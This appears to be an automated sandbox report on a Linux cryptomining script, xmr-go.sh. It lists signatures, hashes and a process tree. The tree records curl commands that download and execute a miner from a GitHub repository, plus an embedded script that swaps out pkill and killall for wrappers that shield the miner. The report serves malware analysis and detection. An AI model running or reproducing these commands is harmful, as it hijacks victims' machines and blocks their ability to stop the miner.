Overview

overview

10

Static

static

1

xmr-go.sh

ubuntu-18.04-amd64

1

xmr-go.sh

ubuntu-20.04-amd64

10

xmr-go.sh

ubuntu-22.04-amd64

10

xmr-go.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    40s
  • max time network
    42s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    03-09-2024 19:25

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    xmr-go.sh

  • Size

    774B

  • MD5

    2c1e821e7f6738e959ba33002a6cc08f

  • SHA1

    615877939420f0055237fc8b6dbf1b54034ab599

  • SHA256

    af92f36f142bcc7b514af34a43ec76f1f11e748ef56549619b2af0d27cf61f2a

  • SHA512

    94562b41fb17bf2baa2d43c8a9a7f57d93a556dba3b670831d2b87b9ac9c25617a4b6e4461d8c0211ec740dcbab0c148f1229f57421b30f48478d283f0555640

Score
10/10
xmrig_linuxantivmevasionminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 4 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Reads list of loaded kernel modules 1 TTPs 1 IoCs

    Reads the list of currently loaded kernel modules, possibly to detect virtual environments.

    evasion
  • Write file to user bin folder 1 TTPs 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 46 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 29 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/xmr-go.sh
    /tmp/xmr-go.sh
    1⤵
      PID:1587
      • /usr/bin/uname
        uname -m
        2⤵
          PID:1588
        • /usr/bin/curl
          curl -LO https://github.com/spetterman66/verynicerepo/raw/main/prepare.bin
          2⤵
          • Writes file to tmp directory
          PID:1589
        • /usr/bin/chmod
          chmod +x prepare.bin
          2⤵
            PID:1618
          • /tmp/prepare.bin
            ./prepare.bin
            2⤵
            • Executes dropped EXE
            PID:1619
          • /bin/bash
            ./prepare.bin -c "exec './prepare.bin' \"\$@\"" ./prepare.bin
            2⤵
              PID:1619
            • /tmp/prepare.bin
              ./prepare.bin
              2⤵
              • Executes dropped EXE
              PID:1619
            • /bin/bash
              ./prepare.bin -c " #!/bin/bash # check if user has sudo, else exit sudo -n true if [ \$? -eq 0 ]; then echo \"You have sudo permissions.\" else echo \"You do not have sudo permissions.\" exit 1 fi # -------- PKILL SECTION -------- result=\$(which pkill) sudo -n mv \$result \$result.bak sudo -n echo '#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else pkill.bak \"\$@\" fi' > \$result sudo -n chmod +x \$result # -------- KILLALL SECTION -------- result=\$(which killall) sudo -n mv \$result \$result.bak sudo -n echo '#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else killall.bak \"\$@\" fi' > \$result sudo -n chmod +x \$result" ./prepare.bin
              2⤵
              • Write file to user bin folder
              PID:1619
              • /usr/bin/sudo
                sudo -n true
                3⤵
                  PID:1620
                  • /usr/bin/true
                    true
                    4⤵
                      PID:1621
                  • /usr/bin/which
                    which pkill
                    3⤵
                      PID:1622
                    • /usr/bin/sudo
                      sudo -n mv /usr/bin/pkill /usr/bin/pkill.bak
                      3⤵
                      • Reads runtime system information
                      PID:1623
                      • /usr/bin/mv
                        mv /usr/bin/pkill /usr/bin/pkill.bak
                        4⤵
                          PID:1624
                      • /usr/bin/sudo
                        sudo -n echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else pkill.bak \"\$@\" fi"
                        3⤵
                        • Reads runtime system information
                        PID:1625
                        • /usr/bin/echo
                          echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else pkill.bak \"\$@\" fi"
                          4⤵
                            PID:1626
                        • /usr/bin/sudo
                          sudo -n chmod +x /usr/bin/pkill
                          3⤵
                            PID:1627
                            • /usr/bin/chmod
                              chmod +x /usr/bin/pkill
                              4⤵
                                PID:1628
                            • /usr/bin/which
                              which killall
                              3⤵
                                PID:1629
                              • /usr/bin/sudo
                                sudo -n mv /usr/bin/killall /usr/bin/killall.bak
                                3⤵
                                  PID:1630
                                  • /usr/bin/mv
                                    mv /usr/bin/killall /usr/bin/killall.bak
                                    4⤵
                                      PID:1631
                                  • /usr/bin/sudo
                                    sudo -n echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else killall.bak \"\$@\" fi"
                                    3⤵
                                      PID:1632
                                      • /usr/bin/echo
                                        echo "#!/bin/bash if [[ \"\$1\" == \"xmrig\" || \"\$1\" == \"xmr_linux_amd64\" || \"\$1\" == \"xmr_linux_arm64\" ]]; then exit 1 else killall.bak \"\$@\" fi"
                                        4⤵
                                          PID:1633
                                    • /usr/bin/sudo
                                      sudo -n chmod +x /usr/bin/killall
                                      2⤵
                                      • Reads runtime system information
                                      PID:1619
                                      • /usr/bin/chmod
                                        chmod +x /usr/bin/killall
                                        3⤵
                                          PID:1634
                                      • /usr/bin/rm
                                        rm xmr_linux_amd64
                                        2⤵
                                          PID:1635
                                        • /usr/bin/curl
                                          curl -LO https://github.com/spetterman66/verynicerepo/raw/main/xmr_linux_amd64
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1636
                                        • /usr/bin/chmod
                                          chmod +x xmr_linux_amd64
                                          2⤵
                                            PID:1639
                                          • /usr/bin/sudo
                                            sudo -n ./xmr_linux_amd64
                                            2⤵
                                              PID:1640
                                              • /tmp/xmr_linux_amd64
                                                ./xmr_linux_amd64
                                                3⤵
                                                • Executes dropped EXE
                                                • Reads list of loaded kernel modules
                                                • Checks CPU configuration
                                                • Reads CPU attributes
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:1641
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  4⤵
                                                    PID:1651
                                                    • /usr/bin/true
                                                      true
                                                      5⤵
                                                        PID:1652
                                                    • /usr/bin/sudo
                                                      sudo -n /tmp/xmrig/xmrig-6.21.3/xmrig
                                                      4⤵
                                                        PID:1654
                                                        • /tmp/xmrig/xmrig-6.21.3/xmrig
                                                          /tmp/xmrig/xmrig-6.21.3/xmrig
                                                          5⤵
                                                          • Executes dropped EXE
                                                          • Checks hardware identifiers (DMI)
                                                          • Reads hardware information
                                                          • Checks CPU configuration
                                                          • Reads CPU attributes
                                                          • Enumerates kernel/hardware configuration
                                                          • Reads runtime system information
                                                          PID:1655

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/prepare.bin
                                                  Filesize

                                                  15KB

                                                  MD5

                                                  9304c43102d72225b64e2031c26f4975

                                                  SHA1

                                                  b898d1cb78830ffb21592f8fc4be8b7ac7d703d1

                                                  SHA256

                                                  636c27eaaa247cc54c71ec7b0572f751b85f6e6c5895010050cc644a5575b092

                                                  SHA512

                                                  70df19f4039b794382cb262fb7dd428c951554c473df016bf9b5d896b43e035444ecbaa56fd16b90a595962647cd78187319e16f92d082e9c566757569705f11

                                                  Download Submit

                                                • /tmp/xmr_linux_amd64
                                                  Filesize

                                                  8.8MB

                                                  MD5

                                                  02b37d826be05450ceb4f4f1ddb93467

                                                  SHA1

                                                  237bb1a0bb4efcd2219706504262e90cacadf49a

                                                  SHA256

                                                  5d7fb7acbd9fa047b6a24b0b5ea91e3d3775e79b56bc69240c2b482078951467

                                                  SHA512

                                                  a625e9655fa43c3f428a0815d26c342abbfd73ab1f0389dd0d4f3601294e8eba9fca511fe27db86c48ed857286184a4b80721dc4d467313ebc09e79892713999

                                                  Download Submit

                                                • /tmp/xmrig/xmrig-6.21.3/SHA256SUMS
                                                  Filesize

                                                  150B

                                                  MD5

                                                  4f3be397a97fe6981754daeff1c2b77b

                                                  SHA1

                                                  251612464045242636103e61da4a0bc02c8fb99b

                                                  SHA256

                                                  1410925f0ec5a63a042402fd06a1037c06530aefa065aa80a242d82b580c571c

                                                  SHA512

                                                  a22c03e97750a3bd02021514fd12475f502934d94f6b7cf44a2d0a3469618864f8e31df09e84db5f1f1e1be277492922528c614a67dc766754ca4f2e003c880a

                                                  Download Submit

                                                • /tmp/xmrig/xmrig-6.21.3/config.json
                                                  Filesize

                                                  3KB

                                                  MD5

                                                  0efc9be5334c3bc9469696e23b5575c4

                                                  SHA1

                                                  42610bab9be0547b43edbb858fe7f473eaee2a7f

                                                  SHA256

                                                  f6cf515dcd45da0a2933c27fe385dd62fe9388cb3eae5ac9db83b52e7753a223

                                                  SHA512

                                                  ca28aedf5b37c5e8201c8a20784cd981c53847e4996b5d9aa0781b601bf9e513e956ce8e8e0b3c38c6bb72030786b9408b60d259f40a92cfef98be7eb04e29d2

                                                  Download Submit

                                                • /tmp/xmrig/xmrig-6.21.3/config.json
                                                  Filesize

                                                  2KB

                                                  MD5

                                                  66f38c96a4901e7b345787c447842b3e

                                                  SHA1

                                                  2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                                                  SHA256

                                                  2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                                                  SHA512

                                                  71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                                                  Download Submit

                                                • /tmp/xmrig/xmrig-6.21.3/config.json
                                                  Filesize

                                                  3KB

                                                  MD5

                                                  2c63dc93a2c74d2a6f6ead20ffa50cdb

                                                  SHA1

                                                  e7a54d662d30702518f88860c88c6a7e55d200be

                                                  SHA256

                                                  d094b093b5d5a1b833828ef566318915be92bf95e03dd36b25eb6832e6b5099d

                                                  SHA512

                                                  dc8f70e77818e7248fa1d251d8d67c0a52af9ca372cb480b58c228855aa0413c0e6a8170622725f2745d90e780e71a5f7b9b3c4a68997a92fdef85153d863d4b

                                                  Download Submit

                                                • /tmp/xmrig/xmrig-6.21.3/xmrig
                                                  Filesize

                                                  7.9MB

                                                  MD5

                                                  7429d24207b100f6c164bf4703b5941e

                                                  SHA1

                                                  a7fad4de1ce0ed2c137c09d4bf9fe7276555f4a0

                                                  SHA256

                                                  72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f

                                                  SHA512

                                                  7d9bcb836d154f5f143815749c36dc928036fb718f4242062a70aa921cbffdd763e167552c79070df1ad8ae7c02647892bcfaa859e24137c3cd41a7f6f6cae27

                                                  Download Submit

                                                • /tmp/xmrig/xmrig.tar.gz
                                                  Filesize

                                                  3.3MB

                                                  MD5

                                                  06b8367fc7b84a666a561a6915a4501d

                                                  SHA1

                                                  d06991f03408390059df8fc387ac7923e4b5fb7a

                                                  SHA256

                                                  a0eefd7a5c0efd1cac153a075b4fdead443a04f11cc587a09bd5ac09e174f10f

                                                  SHA512

                                                  8d507bc49cebf932b7f248c5aea83977352e8e88e02cdbb6cc57d040c0e754ab514106156d42a0ada5d3d4dd549cd6272ec9aca966127430b51680926f98e204

                                                  Download Submit

                                                • /usr/bin/killall
                                                  Filesize

                                                  142B

                                                  MD5

                                                  b02773cbcd5ea8921fbac0b5c577d923

                                                  SHA1

                                                  1117beac3937d9280678f433d6c7fa51c1e00b0b

                                                  SHA256

                                                  f4a1d3344d10e4941aa67977b9edb8214b56f532fafc00b66690a0ebfd8ad612

                                                  SHA512

                                                  c95575e85983e9a0ee2e312d008a5f52cf9c5923800b9f613038400116e254b9c27ae5a3f449357b0724269063bb9930b35e227a05a0e922b5bc3f2246da973c

                                                  Download Submit

                                                • /usr/bin/pkill
                                                  Filesize

                                                  140B

                                                  MD5

                                                  50c285d9bda626a5f6332495ea4527c2

                                                  SHA1

                                                  a72dd91ff971ed8bb5ba482ccb357d834500d672

                                                  SHA256

                                                  61cf2020ce8c121cd8312fb03e724077fc43efa3737cf2c3cebc5ad45b39b021

                                                  SHA512

                                                  2b49d193929e8c0fd82c89c535626f47475cff8f477a75054d0e35eb6fb402161a98e19526af9fa64d1a885746959a9c8988dd28f3efb6853179982902482adc

                                                  Download Submit